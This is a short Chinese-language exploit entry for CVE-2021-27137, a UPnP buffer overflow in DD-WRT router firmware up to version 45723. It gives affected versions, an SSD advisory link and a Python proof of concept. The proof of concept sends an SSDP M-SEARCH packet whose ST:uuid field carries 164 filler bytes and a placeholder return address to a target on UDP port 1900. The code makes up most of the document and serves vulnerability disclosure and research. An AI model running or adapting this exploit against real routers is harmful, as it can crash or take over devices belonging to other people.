# DD-WRT 缓冲区溢出漏洞（CVE-2021-27137）

DD-WRT是基于Linux的固件，用于无线路由器和接入点。最初是为Linksys WRT54G系列设计的，现在可在多种型号上运行。

影响版本：

DD-WRT 45723 或更低版本

**PoC：**

```py
import socket

target_ip = "192.168.15.124" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )
```

ref：

https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/